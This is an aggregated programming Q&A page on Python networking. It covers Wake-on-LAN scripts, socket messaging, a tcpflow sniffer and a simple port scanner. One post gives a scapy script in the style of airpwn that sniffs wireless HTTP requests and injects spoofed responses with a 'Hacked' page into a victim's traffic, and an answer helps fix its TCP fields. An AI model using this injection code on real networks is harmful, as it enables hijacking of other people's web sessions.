WOL from outside WAN - python

A while ago, I wrote [with some help from Google] a small WOL script to switch on the computers in my network. Here is the script:
exec /usr/bin/python -x "$0" "$#"
#
node_lst = [
'srv1 0a:1b:8c:0d:2e:7f',
'srv2 0A-0B-4C-8D-CE:3F',
]
#
import os,sys,string,commands
import struct, socket
import re,random
retval = 0
mac_addr = "mac_addr.txt"
X = '([a-zA-Z0-9]{2}[:|\-|.]?){5}[a-zA-Z0-9]{2}'
S = re.compile(r'\s+')
mmap = {}
## First argument 'None' in str.translate is new in 2.6.
## Previously, it was a string of 256 characters
if sys.version_info < (2, 6):
f1_arg = ''.join(chr(i) for i in xrange(256))
else:
f1_arg = None
## broadcast address
sysOS = "uname -s"
BSD = "ifconfig | grep -w broadcast | cut -d\ -f 6"
LNX = "ip -o addr show | grep -w inet | grep -e eth | cut -d\ -f 9"
#
if commands.getoutput(sysOS) == "Linux":
bCast = commands.getoutput(LNX)
elif commands.getoutput(sysOS) == "Darwin":
bCast = commands.getoutput(BSD)
else:
print "System not supported!!"
sys_exit()
def WakeOnLan(mac_address):
## Building the Wake-On-LAN "Magic Packet"...
## Pad the synchronization stream.
data = ''.join(['FFFFFFFFFFFF', mac_address * 20])
msg = ''
## Split up the hex values and pack.
for i in range(0, len(data), 2):
msg = ''.join([msg, struct.pack('B', int(data[i: i + 2], 16))])
## ...and send it to the broadcast address using UDP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(msg, (bCast, 9))
s.close()
def sys_exit():
sys.stdout.flush()
sys.exit(1)
## check if hostname is provided
if len(sys.argv) != 2:
print "Usage: %s <hostname>" % sys.argv[0]
sys_exit()
for i in node_lst:
# strip off everything from first "#" [if] found
i = i.split('#',1)[0]
if not re.search(X, i):
continue
h = S.split(i,1)[0] ## host name
m = S.split(i,1)[-1] ## MAC address
mmap[h] = m.strip('\t|" "')
for j, k in mmap.iteritems():
if sys.argv[1] == j:
if not re.search(X.replace('zA-Z','fA-F'), k):
print "Invalid MAC address [",k,"]; nothing to do!!"
sys_exit()
else:
WakeOnLan(k.translate(f1_arg,':.-'))
print "WOL request has been sent to %s [%s]" % (j,k)
break
else:
print "Host [%s] doesn't exist!!" % sys.argv[1]
sys_exit()
Which works just fine from inside my home network (or LAN). How can I change the script to make it work for outside of my LAN? Any idea or suggestions? Cheers!!

This is not possible because WOL packets are broadcast packets (since you can't know who to send it too). Home routers and especially ISP/Network routers discard all broadcast packets because else everytime you run this one script all the computers on the entire internet would receive your package, which would cause quite some clutter.
What you of course can do is write a small application that is on a computer that is running inside the WAN in which you wish to turn on all computers, and then have that application send a WOL packet. However this would require a computer with internet access to be turned on at all times.

Configure your router to forward packets on a selection of 10 non-sequential ports to a machine on your LAN.
Devise some scheme based on say GMT Time + a hash to generate the port trigger sequence.
Have a python program (use scappy) on your command box inside that network listen for a series of syn packets.
The listener code would be analogous to the following tcpdump syntax:
sudo tcpdump -ni eth0 'tcp[tcpflags] & (tcp-syn) !=0'
Where it captures just syn packets.
Your program just sits there, waiting for the right syn sequence. When it receives the sequence, it runs your WOL script.
Done.
If you don't want to open ports, your script could instead poll a remote website, waiting for changes. Or listen for email fetched via email.
Taking your idea further, you could do fancy stuff like turn on your lights or boot up the TV.

Related

how to send message from client to server socket

hi i am trying to detect if usb connect to client side. what my logic is that to get the total number of disks if new disk added means new devices is added on client if usb remove from client means devices is remove from client so i keep checking in loop the client show total = 1 or total = 2 , 1 means only 1 disk is available 2 means new device is added and so on. It working fine but the sock.send("Device Added in " + username) sock.send("Device remove in " + username) these command not working i dont get these message on server side if i plug or plug out the usb from client side. i am not sure if my if else conditions are correct or not.
os linux
this is client side code
from socket import *
import os, string, time
import getpass
host = 'localhost'
port = 52000
username = getpass.getuser()
sock = socket()
# Connecting to socket
sock.connect((host, port)) # Connect takes tuple of host and port
def detect_device(previous):
total = os.system(' lsblk | grep disk | wc -l')
time.sleep(3)
# if conditon if new device add
if total<previous:
sock.send("Device Added in " + username)
# if no new device add or remove
elif total==previous:
detect_device(previous)
# if device remove
else:
sock.send("Device Removed in " + username)
# Infinite loop to keep client running.
while True:
data = sock.recv(1024)
if (data == 'Hi'):
while True:
detect_device(os.system(' lsblk | grep disk | wc -l'))
sock.close()
output i get on client side is
1 1 1 2 2 2 2 1 1
1 means current number of total disks are 1 if i plug usb then total number of disks is 2 then 1 means i disconnect USB
ok i fixed it out the os.system return 0 in output so i try it with subprocess.run and it runs fine.

Wake On Lan On other series of IP

I developed an application to wakeOnLan (WOL) and is working fine with in same series of IP addresses.
My problem is i am not able to wakeOnLan where systems are on on other series of IP address on Same Network.
For EX:
My system A is having IP 172.16.46.76,
I am able to wake any system C with Ip Address 172.16.46.13, and also able to wake on lan any system with in the range of 172.16.46.1 to 172.16.45.254 using BroadCast address 1721.16.46.255
But when i run same application from other system B having IP 172.16.51.26, I am not able to wakeOnLan systems C with IP Address 172.16.46.13
I checked using WakeOnLan monitor to confirm if system C is receiving magic packet. And it is receiving from system A but not from system B. I could able to ping system C from both system A and system B
Can any one suggest me solution where is am doing wrong. I code is give below for your reference.
import sys, struct, socket
# Configuration variables
broadcast = ['172.16.46.255','172.16.51.255']
wol_port = 9
known_computers = {
'mercury' : '00:1C:55:35:12:BF',
'venus' : '00:1d:39:55:5c:df',
'earth' : '00:10:60:15:97:fb',
}
def WakeOnLan(ethernet_address):
# Construct 6 byte hardware address
add_oct = ethernet_address.split(':')
if len(add_oct) != 6:
print "\n*** Illegal MAC address\n"
print "MAC should be written as 00:11:22:33:44:55\n"
return
hwa = struct.pack('BBBBBB', int(add_oct[0],16),
int(add_oct[1],16),
int(add_oct[2],16),
int(add_oct[3],16),
int(add_oct[4],16),
int(add_oct[5],16))
# Build magic packet
msg = '\xff' * 6 + hwa * 16
# Send packet to broadcast address using UDP port 9
print msg
soc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
soc.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST,1)
for i in broadcast:
soc.sendto(msg,(i,wol_port))
soc.close()
def wol(*argv):
if len(argv) == 0:
print "\n*** No computer given to power up\n"
print "Use: 'wol (computername)' or 'wol (00:11:22:33:44:55)'"
else:
for i in argv:
if i[0] != '/':
if ":" in i:
# Wake up using MAC address
print 'waking using MAC %s' % i
WakeOnLan(i)
else:
# Wake up known computers
if i in known_computers:
WakeOnLan(known_computers[i])
else:
print "\n*** Unknown computer " + i + "\n"
quit()
if len(argv) == 1:
print "\nDone! The computer should be up and running in a short while."
else:
print "\nDone! The computers should be up and running in a short while."
print
wol('xx:xx:xx:xx:xx:xx')
A snapshot from Wake On Lan Monitor.
Two things you can check.
You're trying to send a broadcast packet from one subnet to another. This implies a network device inbetween the two, probably a router. Routers are normally configured to disallow broadcast packets between their managed subnets to avoid a broadcast storm.
If this is your own experimental network on which you own the routers then you'll be able to go in and change the router configuration yourself.
If you've done (1) and it still doesn't work then look at the TTL of the packets you're generating. If they're being sent with a TTL of one (often the default for broadcast/multicast for safety reasons) then you'll need to increase it by one for each network device that you must traverse along the way because each device decrements the TTL and drops the packet if zero is reached.

Create spoofing HTTP Response in Wireless LAN with scapy

I create program like airpwn with python-scapy. Now, I can sniff it and forge the 802.11 packet, specific any required value for spoofing and send it to victim machine but it's doesn't work. I think because I'm wrong in calculating spoof ack number. Please tell me how to recalculate ack number or what I miss.
#!/usr/bin/env python
from scapy.all import *
from scapy.error import Scapy_Exception
import os
import HTTP
##### Start promicuous mode with airmon-ng start wlan0 11 (airmon-ng start/stop interface channel)
tmp=os.popen("iwconfig 2>&1 | grep ESSID | awk '{print $1}' | grep wlan | grep -v mon")
wlan=tmp.read()
wlan=wlan.rstrip('\n')
m_iface="mon0"
#spoof_response=rdpcap("response.cap")
def pktTCP(pkt):
if pkt.haslayer(TCP):
if HTTP.HTTPRequest or HTTP.HTTPResponse in pkt:
src=pkt[IP].src
srcport=pkt[IP].sport
dst=pkt[IP].dst
dstport=pkt[IP].dport
test=pkt[TCP].payload
if (HTTP.HTTPRequest in pkt):
print "HTTP Request:"
print "======================================================================"
print ("Src: ",src," Sport: ",srcport," Dst: ",dst," Dport: ",dstport," Hostname: ",test.Host)
print ("Seq: ",str(pkt[TCP].seq)," | Ack: ",str(pkt[TCP].ack))
print ("Wireless: ",wlan)
dot11_frame = RadioTap()/Dot11(
type = "Data",
FCfield = "from-DS",
addr1 = pkt[Dot11].addr2,
addr2 = pkt[Dot11].addr1,
addr3 = pkt[Dot11].addr1,
)
#### Spoof HTTP Response
day=time.strftime("%a, %d %Y %T GMT+7")
#print day
spoof_Page="<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\"><html><head><title>Hacked</title></head><body><p>Hacked By Sumedt</font></p></body></html>"
len_of_page=len(spoof_Page)
spoof_HTTP_Response_Header="HTTP/1.1 200 OK\x0d\x0aDate: "+day+"\x0d\x0aContent-Type: text/html; charset=UTF-8\x0d\x0aContent-Length: "+str(len_of_page)+"\x0d\x0a\x0d\x0a"
Spoof_Payload=spoof_HTTP_Response_Header+spoof_Page
#### Crafing HTTP Response Packet
spoof_response=dot11_frame/LLC(ctrl=3)/SNAP()/IP()/TCP()/Spoof_Payload
#### Spoof IP
spoof_response.dst=pkt[IP].src
spoof_response.src=pkt[IP].dst
spoof_response.ttl=pkt[IP].ttl
#### Spoof TCP
spoof_response.sport=pkt[TCP].dport
spoof_response.dport=pkt[TCP].sport
spoof_response.window=dport=pkt[TCP].window
spoof_response.seq=pkt[TCP].ack
### Recalculate chksum and ack
spoof_response.ack=(pkt[TCP].seq + len(Spoof_Payload)) & 0xffffffff
del spoof_response.chksum
### For recalculate chksum
spoof_response = spoof_response.__class__(str(spoof_response))
print "Finish specific value"
#spoof_response.show()
sendp(spoof_response)
print "Start Sniffing"
sniff(iface=m_iface,prn=pktTCP)
If you change the content of payload, the checksums in MAC hearder and TCP header should also be changed. Otherwise the packet would be considered as a wrong packet and discarded automatically.
After delete spoof_response.chksum, i think you Re-initialize that variable.
like
spoof_response.chksum = spoof_response.__class__(str(spoof_response))

Reading from pipe in python is imposiible

Hello I have the following code in python 2.6:
command = "tcpflow -c -i any port 5559"
port_sniffer = subprocess.Popen(command, stdout=subprocess.PIPE, bufsize=1, shell=True)
while True:
line = port_sniffer.stdout.readline()
#do some stuff with line
The purpose of this code is to sniff the traffic between two processes (A and B) that communicate on port 5559.
Now let me describe the different scenarios I am having:
1) Code above is not running:
A and B are communicating and i can see it clearly using logs and the linux command netstat -napl | grep 5559 shows that the processes are communicating on the desired port.
2) Code above is not running and I am sniffing by running tcpflow -c -i any port 5559 directly from shell:
I can see the communication on console clearly :-).
3) Code above is running: Proccesses can't communicate. netstat -napl | grep 5559 prints nothing and logs give out errors!!!
4) Code above is running in debug mode: I can't seem to be able to step after the line line = port_sniffer.stdout.readline()
I tried using an iterator instead of a while loop (not that it should matter but still I am pointing it out). I also tried different values for bufsize (none, 1, and 8).
Please help!!
So after a quick read through the docs I found these two sentences:
On Unix, if args is a string, the string is interpreted as the name or
path of the program to execute
and
The shell argument (which defaults to False) specifies whether to use
the shell as the program to execute. If shell is True, it is
recommended to pass args as a string rather than as a sequence.
Based on this, I would recommend recreating your command as a list:
command = ["tcpflow -c", "-i any port 5559"] #I don't know linux, so double check this line!!
The general idea is this (also from the docs):
If args is a sequence, the first item specifies the command string,
and any additional items will be treated as additional arguments to
the shell itself. That is to say, Popen does the equivalent of:
Popen(['/bin/sh', '-c', args[0], args[1], ...])
Additionally, it seems that to read from your process, you should use communicate(). So
while True:
line = port_sniffer.stdout.readline()
would become
while True:
line = port_sniffer.communicate()[0]
But keep in mind this note from the docs:
Note The data read is buffered in memory, so do not use this method if the data size is large or unlimited.
If I had to guess, I think the problem that you're having is that you aren't running your program as root. TCPFlow needs to be run as a privelaged user if you want to be able to sniff other people's traffic (otherwise that'd be a serious security vulnerability). I wrote the following programs and they worked just fine for your scenario
server.py
#!/usr/bin/python
import socket
s = socket.socket()
host = socket.gethostname()
port = 12345
s.bind((host,port))
s.listen(5)
while True:
c, addr = s.accept()
print 'Connection from', addr
c.send('Test string 1234')
c.recv(1024)
while x != 'q':
print "Received " + x
c.send('Blah')
x = c.recv(1024)
print "Closing connection"
c.close()
client.py
#!/usr/bin/python
import socket, sys
from time import sleep
from datetime import datetime
s = socket.socket()
host = socket.gethostname()
port = 12345
s.connect((host,port))
c = sys.stdin.read(1) # Type a char to send to initate the sending loop
while True:
s.send(str(datetime.now()))
s.sleep(3)
msg = s.recv(1024)
flow.py
#!/usr/bin/python
import subprocess
command = 'tcpflow -c -i any port 12345'
sniffer = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
while True:
print sniffer.stdout.readline()

Python Port Scanner

Am newbie to python and stuck at a point. I want to create port scanner with using only python 3 inbuilt libraries (means avoiding scapy etc) I have following code :
import socket
for i in range(1,26):
s = socket.socket()
s.settimeout(0.5)
ip = "74.207.244.221" #scanme.nmap.org
response = s.connect_ex((ip, i))
if response:
print ("%d\tclose" %i)
else:
print ("%d\topen" %i)
s.close()
Now I want to add 2 functionalities to this : that is
Distinguish between close and filtered ports . In both cases am receiving same errno in return so how can I check if I have received back a rst packet or nothing ? As far as I have tried s.recv() isn't working for this.
I want to control the number of tries (attempts), i.e I want to send only one or two syn packets. I don't want this program to send more than 2 syn packets for probes. How can this thing be achieved ?
Distinguish between close and filtered ports . In both cases am
receiving same errno in return so how can I check if I have received
back a rst packet or nothing
You've probably only checked with servers that send back a RST. Here's what I tried:
First case, normal config:
>>> os.strerror(s.connect_ex((ip, 81)))
'Connection refused'
Second, with manual iptables:
iptables -A OUTPUT -p tcp --dport 81 -j DROP
>>> os.strerror(s.connect_ex((ip, 81)))
'Resource temporarily unavailable'
I want to control the number of tries (attempts), i.e I want to send
only one or two syn packets.
I don't think there's a setsockopt TCP option exposed, but on linux there's:
net.ipv4.tcp_syn_retries
However, since you limited the timeout for the socket, all operations that don't finish within 0.5 seconds will time out. So it's likely only 1 or 2 SYNs will leave the station.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socekt.SOCK_STREAM)
host = 74.207.244.221
def portscan(port):
try:
s.connect((host,port))
return True
else:
return False
for x in range(1,255):
if portscan(x):
print('Port',x,'Is Open')

Categories

Resources